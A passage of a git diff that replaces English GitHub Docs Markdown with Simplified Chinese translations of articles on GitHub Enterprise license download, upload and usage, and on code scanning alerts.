09/11/2022 +ms.locfileid: '145084441' --- +## 关于 {% data variables.product.prodname_enterprise %} 的许可证文件 -## About license files for {% data variables.product.prodname_enterprise %} - -After you purchase or upgrade a license for {% data variables.product.prodname_enterprise %} from {% data variables.contact.contact_enterprise_sales %}, you must download your new license file. For more information about licenses for {% data variables.product.prodname_enterprise %}, see "[About licenses for {% data variables.product.prodname_enterprise %}](/billing/managing-your-license-for-github-enterprise/about-licenses-for-github-enterprise)." +从 {% data variables.contact.contact_enterprise_sales %}购买或升级 {% data variables.product.prodname_enterprise %} 许可证后,必须下载新的许可证文件。 有关 {% data variables.product.prodname_enterprise %} 许可证的详细信息,请参阅“[关于 {% data variables.product.prodname_enterprise %} 的许可证](/billing/managing-your-license-for-github-enterprise/about-licenses-for-github-enterprise)”。 {% data reusables.enterprise-licensing.contact-sales-for-renewals-or-seats %} -## Downloading your license from {% data variables.product.prodname_dotcom_the_website %} +## 从 {% data variables.product.prodname_dotcom_the_website %} 下载许可证 -You must have an enterprise account on {% data variables.product.prodname_dotcom_the_website %} to download your license from {% data variables.product.prodname_dotcom_the_website %}. For more information, see "[About enterprise accounts](/enterprise-cloud@latest/admin/overview/about-enterprise-accounts){% ifversion ghes %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% elsif ghec %}."{% endif %} +您必须在 {% data variables.product.prodname_dotcom_the_website %} 上拥有企业帐户才能从 {% data variables.product.prodname_dotcom_the_website %} 下载许可证。 有关详细信息,请参阅 {% data variables.product.prodname_ghe_cloud %} 文档中的“[关于企业帐户](/enterprise-cloud@latest/admin/overview/about-enterprise-accounts){% ifversion ghes %}”。{% elsif ghec %}。”{% endif %} -{% data reusables.enterprise-accounts.access-enterprise-on-dotcom %} -{% data reusables.enterprise-accounts.settings-tab %} -1. In the left sidebar, click **Enterprise licensing**. - !["Enterprise licensing" tab in the enterprise account settings sidebar](/assets/images/help/enterprises/enterprise-licensing-tab.png) -1. Under "Enterprise Server Instances", click {% octicon "download" aria-label="The download icon" %} to download your license file. - ![Download GitHub Enterprise Server license](/assets/images/help/business-accounts/download-ghes-license.png) +{% data reusables.enterprise-accounts.access-enterprise-on-dotcom %} {% data reusables.enterprise-accounts.settings-tab %} +1. 在左侧边栏中,单击“企业许可”。 + ![企业帐户设置侧边栏中的“企业许可”选项卡](/assets/images/help/enterprises/enterprise-licensing-tab.png) +1. 在“Enterprise Server 实例”下,单击 {% octicon "download" aria-label="The download icon" %} 下载许可证文件。 + ![下载 GitHub Enterprise Server 许可证](/assets/images/help/business-accounts/download-ghes-license.png) -After you download your license file, you can upload the file to {% data variables.location.product_location_enterprise %} to validate your application. For more information, see {% ifversion ghec %}"[Uploading a new license to {% data variables.product.prodname_ghe_server %}](/enterprise-server/billing/managing-your-license-for-github-enterprise/uploading-a-new-license-to-github-enterprise-server)" in the {% data variables.product.prodname_ghe_server %} documentation.{% elsif ghes %}"[Uploading a new license to {% data variables.product.prodname_ghe_server %}](/enterprise-server/billing/managing-your-license-for-github-enterprise/uploading-a-new-license-to-github-enterprise-server)."{% endif %} +下载许可证文件后,可以将文件上传到 {% data variables.product.product_location_enterprise %} 以验证应用程序。 有关详细信息,请参阅 {% ifversion ghec %}{% data variables.product.prodname_ghe_server %} 文档中的“[将新许可证上传到 {% data variables.product.prodname_ghe_server %}](/enterprise-server/billing/managing-your-license-for-github-enterprise/uploading-a-new-license-to-github-enterprise-server)”。{% elsif ghes %}“[将新许可证上传到 {% data variables.product.prodname_ghe_server %}](/enterprise-server/billing/managing-your-license-for-github-enterprise/uploading-a-new-license-to-github-enterprise-server)”。{% endif %} -## Downloading your license if you don't have an enterprise account on {% data variables.product.prodname_dotcom_the_website %} +## 如果您在 {% data variables.product.prodname_dotcom_the_website %} 上没有企业帐户,请下载许可证 -If you do not have an enterprise account on {% data variables.product.prodname_dotcom_the_website %}, or if you're not sure, you may be able to download your {% data variables.product.prodname_ghe_server %} license from the [{% data variables.product.prodname_enterprise %} website](https://enterprise.github.com/download). +如果你没有 {% data variables.product.prodname_dotcom_the_website %} 的企业帐户,或者不确定,可从 [{% data variables.product.prodname_enterprise %} 网站](https://enterprise.github.com/download)下载你的 {% data variables.product.prodname_ghe_server %} 许可证。 -If you have any questions about downloading your license, contact {% data variables.contact.contact_enterprise_sales %}. +如对下载许可证有任何疑问,请联系 {% data variables.contact.contact_enterprise_sales %}。 diff --git a/translations/zh-CN/content/billing/managing-your-license-for-github-enterprise/uploading-a-new-license-to-github-enterprise-server.md b/translations/zh-CN/content/billing/managing-your-license-for-github-enterprise/uploading-a-new-license-to-github-enterprise-server.md index e66cfc6dd6..dfa8df5bfb 100644 --- a/translations/zh-CN/content/billing/managing-your-license-for-github-enterprise/uploading-a-new-license-to-github-enterprise-server.md +++ b/translations/zh-CN/content/billing/managing-your-license-for-github-enterprise/uploading-a-new-license-to-github-enterprise-server.md @@ -1,6 +1,6 @@ --- -title: Uploading a new license to GitHub Enterprise Server -intro: 'You can upload your license file for {% data variables.product.prodname_enterprise %} to {% data variables.location.product_location_enterprise %} to validate your application.' +title: 将新许可证上传到 GitHub Enterprise Server +intro: '您可以将 {% data variables.product.prodname_enterprise %} 的许可文件上传到 {% data variables.product.product_location_enterprise %} 以验证您的应用程序。' versions: ghes: '*' type: how_to @@ -8,30 +8,33 @@ topics: - Enterprise - Licensing shortTitle: Upload a new license +ms.openlocfilehash: 184206b210289e062e83e237acaa853bb80470c1 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145084436' --- +## 关于 {% data variables.product.prodname_enterprise %} 的许可证文件 -## About license files for {% data variables.product.prodname_enterprise %} - -After you purchase or upgrade a license for {% data variables.product.prodname_enterprise %} from {% data variables.contact.contact_enterprise_sales %}, you must upload the new license file to {% data variables.location.product_location_enterprise %} to unlock your new user licenses. For more information about licenses for {% data variables.product.product_name %}, see "[About licenses for {% data variables.product.prodname_enterprise %}](/billing/managing-your-license-for-github-enterprise/about-licenses-for-github-enterprise)" and "[Downloading your license for {% data variables.product.prodname_enterprise %}](/billing/managing-your-license-for-github-enterprise/downloading-your-license-for-github-enterprise)." +从 {% data variables.contact.contact_enterprise_sales %} 购买或升级 {% data variables.product.prodname_enterprise %} 许可证后,必须将新许可证文件上传到 {% data variables.product.product_location_enterprise %} 才能解锁新用户许可证。 有关 {% data variables.product.product_name %} 许可证的详细信息,请参阅“[关于 {% data variables.product.prodname_enterprise %} 的许可证](/billing/managing-your-license-for-github-enterprise/about-licenses-for-github-enterprise)”和“[下载 {% data variables.product.prodname_enterprise %} 的许可证](/billing/managing-your-license-for-github-enterprise/downloading-your-license-for-github-enterprise)”。 {% data reusables.enterprise-licensing.contact-sales-for-renewals-or-seats %} -## Uploading your license to {% data variables.location.product_location_enterprise %} +## 将许可证上传到 {% data variables.product.product_location_enterprise %} {% warning %} -**Warning:** Updating your license causes a small amount of downtime for {% data variables.location.product_location %}. +警告:更新许可证会导致 {% data variables.product.product_location %} 出现短暂停机。 {% endwarning %} -1. Sign into {% data variables.location.product_location_enterprise %} as a site administrator. -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.license-tab %} -1. Under "Quick links", click **Update license**. - ![Update license link](/assets/images/enterprise/business-accounts/update-license-link.png) -1. To select your license, click **License file**, or drag your license file onto **License file**. - ![Upload license file](/assets/images/enterprise/management-console/upload-license.png) -1. Click **Upload**. - ![Begin upload](/assets/images/enterprise/management-console/begin-upload.png) +1. 以站点管理员的身份登录到 {% data variables.product.product_location_enterprise %}。 +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.license-tab %} +1. 在“快速链接”下,单击“更新许可证”。 + ![“更新许可证”链接](/assets/images/enterprise/business-accounts/update-license-link.png) +1. 若要选择许可证,请单击“许可证文件”,或将许可证文件拖动到“许可证文件” 。 + ![上传许可证文件](/assets/images/enterprise/management-console/upload-license.png) +1. 单击“上载” 。 + ![开始上传](/assets/images/enterprise/management-console/begin-upload.png) diff --git a/translations/zh-CN/content/billing/managing-your-license-for-github-enterprise/viewing-license-usage-for-github-enterprise.md b/translations/zh-CN/content/billing/managing-your-license-for-github-enterprise/viewing-license-usage-for-github-enterprise.md index 452c276d23..0827bbf327 100644 --- a/translations/zh-CN/content/billing/managing-your-license-for-github-enterprise/viewing-license-usage-for-github-enterprise.md +++ b/translations/zh-CN/content/billing/managing-your-license-for-github-enterprise/viewing-license-usage-for-github-enterprise.md @@ -1,6 +1,6 @@ --- -title: Viewing license usage for GitHub Enterprise -intro: 'You can view license usage for your enterprise on {% ifversion ghec %}{% data variables.product.prodname_dotcom_the_website %}{% elsif ghes %}{% data variables.location.product_location %}{% endif %}.' +title: 查看 GitHub Enterprise 的许可证使用情况 +intro: '您可以在 {% ifversion ghec %}{% data variables.product.prodname_dotcom_the_website %}{% elsif ghes %}{% data variables.product.product_location %}{% endif %} 上查看企业的许可证使用情况。' permissions: 'Enterprise owners can view license usage for {% data variables.product.prodname_enterprise %}.' versions: ghec: '*' @@ -10,59 +10,59 @@ topics: - Enterprise - Licensing shortTitle: View license usage +ms.openlocfilehash: 7f3c3c6e65928601d01ac17139928af6ceedf354 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147572614' --- +## 关于 {% data variables.product.prodname_enterprise %} 的许可证使用情况 -## About license usage for {% data variables.product.prodname_enterprise %} +可在 {% data variables.product.product_location %} 上查看 {% data variables.product.product_name %} 的许可证使用情况。 -You can view license usage for {% data variables.product.product_name %} on {% data variables.location.product_location %}. - -If you use both {% data variables.product.prodname_ghe_cloud %} and {% data variables.product.prodname_ghe_server %} and sync license usage between the products, you can view license usage for both on {% data variables.product.prodname_dotcom_the_website %}. For more information about license sync, see "[Syncing license usage between {% data variables.product.prodname_ghe_server %} and {% data variables.product.prodname_ghe_cloud %}](/billing/managing-your-license-for-github-enterprise/syncing-license-usage-between-github-enterprise-server-and-github-enterprise-cloud)." +如果同时使用 {% data variables.product.prodname_ghe_cloud %} 和 {% data variables.product.prodname_ghe_server %} 并在这两个产品之间同步许可证使用情况,则可在 {% data variables.product.prodname_dotcom_the_website %} 上查看两者的许可证使用情况。 有关许可证同步的详细信息,请参阅“[同步 {% data variables.product.prodname_ghe_server %} 和 {% data variables.product.prodname_ghe_cloud %} 之间的许可证使用情况](/billing/managing-your-license-for-github-enterprise/syncing-license-usage-between-github-enterprise-server-and-github-enterprise-cloud)”。 {% ifversion ghes %} -For more information about viewing license usage on {% data variables.product.prodname_dotcom_the_website %} and identifying when the last license sync occurred, see "[Viewing license usage for {% data variables.product.prodname_enterprise %}](/enterprise-cloud@latest/billing/managing-your-license-for-github-enterprise/viewing-license-usage-for-github-enterprise)" in the {% data variables.product.prodname_ghe_cloud %} documentation. +要详细了解如何在 {% data variables.product.prodname_dotcom_the_website %} 上查看许可证使用情况,并了解如何确定许可证上次同步时间,请参阅 {% data variables.product.prodname_ghe_cloud %} 文档中的“[查看 {% data variables.product.prodname_enterprise %} 的许可证使用情况](/enterprise-cloud@latest/billing/managing-your-license-for-github-enterprise/viewing-license-usage-for-github-enterprise)”。 {% endif %} -You can also use the REST API to return consumed licenses data and the status of the license sync job. For more information, see "[GitHub Enterprise administration](/enterprise-cloud@latest/rest/enterprise-admin/license)" in the REST API documentation. +还可使用 REST API 返回已使用的许可证数据和许可证同步作业的状态。 有关详细信息,请参阅 REST API 文档中的“[GitHub Enterprise 管理](/enterprise-cloud@latest/rest/enterprise-admin/license)”。 -To learn more about the license data associated with your enterprise account and how the number of consumed user seats are calculated, see "[Troubleshooting license usage for GitHub Enterprise](/billing/managing-your-license-for-github-enterprise/troubleshooting-license-usage-for-github-enterprise)." +若要详细了解与企业帐户关联的许可证数据以及如何计算已使用的用户席位数,请参阅“[GitHub Enterprise 许可证使用情况疑难解答](/billing/managing-your-license-for-github-enterprise/troubleshooting-license-usage-for-github-enterprise)”。 -## Viewing license usage on {% ifversion ghec %}{% data variables.product.prodname_dotcom_the_website %}{% elsif ghes %}{% data variables.location.product_location %}{% endif %} +## 查看 {% ifversion ghec %}{% data variables.product.prodname_dotcom_the_website %}{% elsif ghes %}{% data variables.product.product_location %}{% endif %} 上的许可证使用情况 -You can view the license usage for your enterprise and download a file with license details. If you're not seeing expected license counts in this report, it's possible that the subscriber’s assigned {% data variables.product.prodname_vs %} subscription email address and {% data variables.product.prodname_dotcom_the_website %} email address aren't exactly the same. For further information, see "[Troubleshooting license usage for GitHub Enterprise](/billing/managing-your-license-for-github-enterprise/troubleshooting-license-usage-for-github-enterprise)." +您可以查看企业的许可证使用情况并下载包含许可证详细信息的文件。 如果在此报告中未看到预期的许可证计数,则订阅者拥有的 {% data variables.product.prodname_vs %} 订阅电子邮件地址和 {% data variables.product.prodname_dotcom_the_website %} 电子邮件地址可能不完全相同。 有关详细信息,请参阅“[GitHub Enterprise 许可证使用情况疑难解答](/billing/managing-your-license-for-github-enterprise/troubleshooting-license-usage-for-github-enterprise)”。 {% ifversion ghec %} -{% data reusables.enterprise-accounts.access-enterprise-on-dotcom %} -{% data reusables.enterprise-accounts.settings-tab %} -1. In the left sidebar, click **Enterprise licensing**. - !["Enterprise licensing" tab in the enterprise account settings sidebar](/assets/images/help/enterprises/enterprise-licensing-tab.png) -1. Review your current {% data variables.product.prodname_enterprise %} license, as well as consumed and available user licenses. - - To download the consumed license report as a CSV file, in the top right, click {% octicon "download" aria-label="The download icon" %}. For more information about reviewing the data in this report, see "[Troubleshooting license usage for GitHub Enterprise](/billing/managing-your-license-for-github-enterprise/troubleshooting-license-usage-for-github-enterprise)." - - If your license includes {% data variables.product.prodname_GH_advanced_security %}, you can review your total seat use. For more information, see "[Viewing your {% data variables.product.prodname_GH_advanced_security %} usage](/billing/managing-billing-for-github-advanced-security/viewing-your-github-advanced-security-usage)." +{% data reusables.enterprise-accounts.access-enterprise-on-dotcom %} {% data reusables.enterprise-accounts.settings-tab %} +1. 在左侧边栏中,单击“企业许可”。 + ![企业帐户设置侧边栏中的“企业许可”选项卡](/assets/images/help/enterprises/enterprise-licensing-tab.png) +1. 检查您当前的 {% data variables.product.prodname_enterprise %} 许可,以及已使用和可用的用户许可。 + - 若要以 CSV 文件的形式下载已使用的许可证报表,请在右上角单击 {% octicon "download" aria-label="The download icon" %}。 若要详细了解如何查看此报表中的数据,请参阅“[GitHub Enterprise 许可证使用情况疑难解答](/billing/managing-your-license-for-github-enterprise/troubleshooting-license-usage-for-github-enterprise)”。 + - 如果您的许可证包含 {% data variables.product.prodname_GH_advanced_security %},您可以查看您的总席位使用情况。 有关详细信息,请参阅“[查看 {% data variables.product.prodname_GH_advanced_security %} 使用情况](/billing/managing-billing-for-github-advanced-security/viewing-your-github-advanced-security-usage)”。 {% elsif ghes %} -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.license-tab %} -1. Review your current {% data variables.product.prodname_enterprise %} license, as well as consumed and available user licenses.{% ifversion ghes %} - - To download the consumed license report as a JSON file, in the top right under "Quick links", choose **Export license usage**. For more information about reviewing the data in this report, see "[Troubleshooting license usage for GitHub Enterprise](/billing/managing-your-license-for-github-enterprise/troubleshooting-license-usage-for-github-enterprise)." - - If your license includes {% data variables.product.prodname_GH_advanced_security %}, you can review your total seat use as well as a per-organization breakdown of committers. For more information, see "[Managing {% data variables.product.prodname_GH_advanced_security %} for your enterprise](/admin/advanced-security)."{% endif %} - -{% endif %} -{% ifversion ghec %} -## Viewing the last license sync date - -{% data reusables.enterprise-accounts.access-enterprise-on-dotcom %} -{% data reusables.enterprise-accounts.settings-tab %} -1. In the left sidebar, click **Enterprise licensing**. - !["Enterprise licensing" tab in the enterprise account settings sidebar](/assets/images/help/enterprises/enterprise-licensing-tab.png) -1. To identify when the last license sync occurred, under "Enterprise Server instances", look for timestamps next to usage uploaded or synced events. - - "Server usage uploaded" indicates license usage between environments was manually updated when a {% data variables.product.prodname_ghe_server %} license file was uploaded. - - "{% data variables.product.prodname_github_connect %} server usage synced" indicates license usage between environments was automatically updated. - - "{% data variables.product.prodname_github_connect %} server usage never synced" indicates that {% data variables.product.prodname_github_connect %} is configured, but license usage between environments has never updated successfully. +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.license-tab %} +1. 查看你当前的 {% data variables.product.prodname_enterprise %} 许可证,以及已使用和可用的用户许可证。{% ifversion ghes %} + - 若要以 JSON 文件的形式下载已使用的许可证报表,请在右上角的“快速链接”下,选择“导出许可证使用情况”。 若要详细了解如何查看此报表中的数据,请参阅“[GitHub Enterprise 许可证使用情况疑难解答](/billing/managing-your-license-for-github-enterprise/troubleshooting-license-usage-for-github-enterprise)”。 + - 如果您的许可证包含 {% data variables.product.prodname_GH_advanced_security %},您可以查看您的总席位使用情况以及每个组织的提交者细分。 有关详细信息,请参阅“[管理企业的 {% data variables.product.prodname_GH_advanced_security %}](/admin/advanced-security)”。{% endif %} + +{% endif %} {% ifversion ghec %} +## 查看许可证上次同步日期 + +{% data reusables.enterprise-accounts.access-enterprise-on-dotcom %} {% data reusables.enterprise-accounts.settings-tab %} +1. 在左侧边栏中,单击“企业许可”。 + ![企业帐户设置侧边栏中的“企业许可”选项卡](/assets/images/help/enterprises/enterprise-licensing-tab.png) +1. 要确定许可证上次同步时间,请在“企业服务器实例”下,查找“使用情况已上传”或“使用情况已同步”事件旁边的时间戳。 + - “服务器使用情况已上传”表示在上传 {% data variables.product.prodname_ghe_server %} 许可证文件时,手动更新了环境之间的许可证使用情况。 + - “{% data variables.product.prodname_github_connect %} 服务器使用情况已同步”表示环境之间的许可证使用情况已自动更新。 + - “{% data variables.product.prodname_github_connect %} 服务器使用情况从未同步”表示已配置 {% data variables.product.prodname_github_connect %},但从未成功更新环境之间的许可证使用情况。 {% endif %} diff --git a/translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-alerts.md b/translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-alerts.md index 85426efe23..424ab45c3e 100644 --- a/translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-alerts.md +++ b/translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-alerts.md @@ -1,6 +1,6 @@ --- -title: About code scanning alerts -intro: Learn about the different types of code scanning alerts and the information that helps you understand the problem each alert highlights. +title: 关于代码扫描警报 +intro: 了解不同类型的代码扫描警报以及有助于了解每个警报突出显示的问题的信息。 product: '{% data reusables.gated-features.code-scanning %}' versions: fpt: '*' @@ -12,115 +12,113 @@ topics: - Advanced Security - Code scanning - CodeQL +ms.openlocfilehash: 1e540aa8b061e0bbdd5b7be1a2563cd983cfb753 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: '147881225' --- +{% data reusables.code-scanning.beta %} {% data reusables.code-scanning.enterprise-enable-code-scanning %} -{% data reusables.code-scanning.beta %} -{% data reusables.code-scanning.enterprise-enable-code-scanning %} +## 关于 {% data variables.product.prodname_code_scanning %} 中的警报 -## About alerts from {% data variables.product.prodname_code_scanning %} +您可以设置 {% data variables.product.prodname_code_scanning %},以使用默认 {% data variables.product.prodname_codeql %} 分析、第三方分析或多种类型的分析来检查仓库中的代码。 分析完成后,生成的警报将并排显示在仓库的安全视图中。 第三方工具或自定义查询的结果可能不包括您在 {% data variables.product.company_short %} 的默认 {% data variables.product.prodname_codeql %} 分析所检测的警报中看到的所有属性。 有关详细信息,请参阅“[为存储库设置 {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)”。 -You can set up {% data variables.product.prodname_code_scanning %} to check the code in a repository using the default {% data variables.product.prodname_codeql %} analysis, a third-party analysis, or multiple types of analysis. When the analysis is complete, the resulting alerts are displayed alongside each other in the security view of the repository. Results from third-party tools or from custom queries may not include all of the properties that you see for alerts detected by {% data variables.product.company_short %}'s default {% data variables.product.prodname_codeql %} analysis. For more information, see "[Setting up {% data variables.product.prodname_code_scanning %} for a repository](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)." +默认情况下, {% data variables.product.prodname_code_scanning %} 定期在默认分支和拉取请求中分析您的代码。 有关管理拉取请求警报的信息,请参阅“[会审拉取请求中的 {% data variables.product.prodname_code_scanning %} 警报](/code-security/secure-coding/triaging-code-scanning-alerts-in-pull-requests)”。 -By default, {% data variables.product.prodname_code_scanning %} analyzes your code periodically on the default branch and during pull requests. For information about managing alerts on a pull request, see "[Triaging {% data variables.product.prodname_code_scanning %} alerts in pull requests](/code-security/secure-coding/triaging-code-scanning-alerts-in-pull-requests)." +## 关于警报详细信息 -## About alert details +每个警报都会高亮显示代码的问题以及识别该问题的工具名称。 你可以看到触发警报的代码行以及警报的属性,例如警报严重性、安全严重性和问题的性质。 警报还会告知该问题第一次被引入的时间。 对于由 {% data variables.product.prodname_codeql %} 分析确定的警报,您还会看到如何解决问题的信息。 -Each alert highlights a problem with the code and the name of the tool that identified it. You can see the line of code that triggered the alert, as well as properties of the alert, such as the alert severity, security severity, and the nature of the problem. Alerts also tell you when the issue was first introduced. For alerts identified by {% data variables.product.prodname_codeql %} analysis, you will also see information on how to fix the problem. +{% ifversion fpt or ghec or ghes > 3.4 or ghae-issue-6249 %} {% data reusables.code-scanning.alert-default-branch %} {% endif %} -{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} -{% data reusables.code-scanning.alert-default-branch %} -{% endif %} +{% ifversion fpt or ghec or ghes > 3.4 or ghae-issue-6249 %} ![{% data variables.product.prodname_code_scanning %} 中的警报示例](/assets/images/help/repository/code-scanning-alert.png) {% else %} ![{% data variables.product.prodname_code_scanning %} 中的警报示例](/assets/images/enterprise/3.4/repository/code-scanning-alert.png) {% endif %} -{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} -![Example alert from {% data variables.product.prodname_code_scanning %}](/assets/images/help/repository/code-scanning-alert.png) -{% else %} -![Example alert from {% data variables.product.prodname_code_scanning %}](/assets/images/enterprise/3.4/repository/code-scanning-alert.png) -{% endif %} +如果使用 {% data variables.product.prodname_codeql %} 设置 {% data variables.product.prodname_code_scanning %},则还可以在代码中发现数据流问题。 数据流分析将查找代码中的潜在安全问题,例如:不安全地使用数据、将危险参数传递给函数以及泄漏敏感信息。 -If you set up {% data variables.product.prodname_code_scanning %} using {% data variables.product.prodname_codeql %}, you can also find data-flow problems in your code. Data-flow analysis finds potential security issues in code, such as: using data insecurely, passing dangerous arguments to functions, and leaking sensitive information. +当 {% data variables.product.prodname_code_scanning %} 报告数据流警报时,{% data variables.product.prodname_dotcom %} 将显示数据在代码中如何移动。 {% data variables.product.prodname_code_scanning_capc %} 可用于识别泄露敏感信息的代码区域,以及可能成为恶意用户攻击切入点的代码区域。 -When {% data variables.product.prodname_code_scanning %} reports data-flow alerts, {% data variables.product.prodname_dotcom %} shows you how data moves through the code. {% data variables.product.prodname_code_scanning_capc %} allows you to identify the areas of your code that leak sensitive information, and that could be the entry point for attacks by malicious users. +### 关于严重性级别 -### About severity levels +警报严重性级别可能为 `Error`、`Warning` 或 `Note`。 -Alert severity levels may be `Error`, `Warning`, or `Note`. +如果将 {% data variables.product.prodname_code_scanning %} 作为拉取请求检查启用,检测到严重性为 `error` 的任何结果时,检查都将失败。 可以指定代码扫描警报的哪个严重性级别会导致检查失败。 有关详细信息,请参阅“[定义导致拉取请求检查失败的严重性](/code-security/secure-coding/configuring-code-scanning#defining-the-severities-causing-pull-request-check-failure)”。 -If {% data variables.product.prodname_code_scanning %} is enabled as a pull request check, the check will fail if it detects any results with a severity of `error`. You can specify which severity level of code scanning alerts causes a check failure. For more information, see "[Defining the severities causing pull request check failure](/code-security/secure-coding/configuring-code-scanning#defining-the-severities-causing-pull-request-check-failure)." +### 关于安全严重性级别 -### About security severity levels +{% data variables.product.prodname_code_scanning_capc %} 显示安全查询生成的警报的安全严重性级别。 安全严重性级别可以是 `Critical`、`High`、`Medium` 或 `Low`。 -{% data variables.product.prodname_code_scanning_capc %} displays security severity levels for alerts that are generated by security queries. Security severity levels can be `Critical`, `High`, `Medium`, or `Low`. +为计算警报的安全严重性,我们将使用常见漏洞评分系统 (CVSS) 数据。 CVSS 是一个开放框架,用于传达软件漏洞的特征和严重性,通常由其他安全产品用来为警报评分。 若要详细了解如何计算严重性级别,请参阅[此博客文章](https://github.blog/changelog/2021-07-19-codeql-code-scanning-new-severity-levels-for-security-alerts/)。 -To calculate the security severity of an alert, we use Common Vulnerability Scoring System (CVSS) data. CVSS is an open framework for communicating the characteristics and severity of software vulnerabilities, and is commonly used by other security products to score alerts. For more information about how severity levels are calculated, see [this blog post](https://github.blog/changelog/2021-07-19-codeql-code-scanning-new-severity-levels-for-security-alerts/). +默认情况下,安全严重性为 `Critical` 或 `High` 的任何 {% data variables.product.prodname_code_scanning %} 结果都会导致检查失败。 可以指定 {% data variables.product.prodname_code_scanning %} 结果的哪个安全严重性级别会导致检查失败。 有关详细信息,请参阅“[定义导致拉取请求检查失败的严重性](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#defining-the-severities-causing-pull-request-check-failure)”。 -By default, any {% data variables.product.prodname_code_scanning %} results with a security severity of `Critical` or `High` will cause a check failure. You can specify which security severity level for {% data variables.product.prodname_code_scanning %} results should cause a check failure. For more information, see "[Defining the severities causing pull request check failure](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#defining-the-severities-causing-pull-request-check-failure)." +{% ifversion fpt or ghes > 3.4 or ghae-issue-6251 or ghec %} +### 关于分析源 -{% ifversion fpt or ghes > 3.4 or ghae > 3.4 or ghec %} -### About analysis origins +可以使用不同的工具和针对代码的不同语言或区域,在存储库上设置多个代码分析配置。 代码扫描的每个配置都是它生成的所有警报的分析源。 例如,与外部生成并通过代码扫描 API 上传的警报相比,使用带有 GitHub Actions 的默认 CodeQL 分析生成的警报具有不同的分析源。 -You can set up multiple configurations of code analysis on a repository, using different tools and targeting different languages or areas of the code. Each configuration of code scanning is the analysis origin for all the alerts it generates. For example, an alert generated using the default CodeQL analysis with GitHub Actions will have a different analysis origin from an alert generated externally and uploaded via the code scanning API. +如果使用多个配置来分析文件,同一查询检测到的任何问题都将报告为具有多个分析源的警报。 如果警报有多个分析源,在警报页面右侧的“受影响的分支”部分中,任何相关的分支旁都会出现一个 {% octicon "workflow" aria-label="The workflow icon" %} 图标。 可以将鼠标悬停在 {% octicon "workflow" aria-label="The workflow icon" %} 图标上,以查看每个分析源的名称以及该分析源警报的状态。 还可以在警报页面的时间线中查看每个分析源的警报出现时间的历史记录。 如果警报只有一个分析源,则警报页上不会显示任何有关分析源的信息。 -If you use multiple configurations to analyze a file, any problems detected by the same query are reported as alerts with multiple analysis origins. If an alert has more than one analysis origin, a {% octicon "workflow" aria-label="The workflow icon" %} icon will appear next to any relevant branch in the **Affected branches** section on the right-hand side of the alert page. You can hover over the {% octicon "workflow" aria-label="The workflow icon" %} icon to see the names of each analysis origin and the status of the alert for that analysis origin. You can also view the history of when alerts appeared in each analysis origin in the timeline on the alert page. If an alert only has one analysis origin, no information about analysis origins is displayed on the alert page. - -![Code scanning alert with multiple analysis origins](/assets/images/help/repository/code-scanning-analysis-origins.png) +![具有多个分析源的代码扫描警报](/assets/images/help/repository/code-scanning-analysis-origins.png) {% note %} -**Note:** Sometimes a code scanning alert displays as fixed for one analysis origin but is still open for a second analysis origin. You can resolve this by re-running the second code scanning configuration to update the alert status for that analysis origin. +注意:有时,代码扫描警报显示为固定的一个分析源,但仍可用于第二个分析源。 可通过重新运行第二个代码扫描配置以更新该分析源的警报状态,来解决此问题。 {% endnote %} {% endif %} -### About labels for alerts that are not found in application code +### 关于应用程序代码中未找到的警报的标签 -{% data variables.product.product_name %} assigns a category label to alerts that are not found in application code. The label relates to the location of the alert. +{% data variables.product.product_name %} 向应用程序代码中找不到的警报分配类别标签。 标签与警报的位置相关。 -- **Generated**: Code generated by the build process -- **Test**: Test code -- **Library**: Library or third-party code -- **Documentation**: Documentation +- Generated:生成过程生成的代码 +- Test:测试代码 +- Library:库或第三方代码 +- Documentation:文档 -{% data variables.product.prodname_code_scanning_capc %} categorizes files by file path. You cannot manually categorize source files. +{% data variables.product.prodname_code_scanning_capc %} 按文件路径对文件进行分类。 无法手动对源文件进行分类。 -Here is an example from the {% data variables.product.prodname_code_scanning %} alert list of an alert marked as occurring in library code. +下面是库代码中标记为已发生的警报的 {% data variables.product.prodname_code_scanning %} 警报列表中的一个示例。 -![Code scanning library alert in list](/assets/images/help/repository/code-scanning-library-alert-index.png) +![列表中的代码扫描库警报](/assets/images/help/repository/code-scanning-library-alert-index.png) -On the alert page, you can see that the filepath is marked as library code (`Library` label). +在警报页上,可以看到文件路径标记为库代码(`Library` 标签)。 -![Code scanning library alert details](/assets/images/help/repository/code-scanning-library-alert-show.png) +![代码扫描库警报详细信息](/assets/images/help/repository/code-scanning-library-alert-show.png) {% ifversion codeql-ml-queries %} -## About experimental alerts +## 关于实验性警报 {% data reusables.code-scanning.beta-codeql-ml-queries %} -In repositories that run {% data 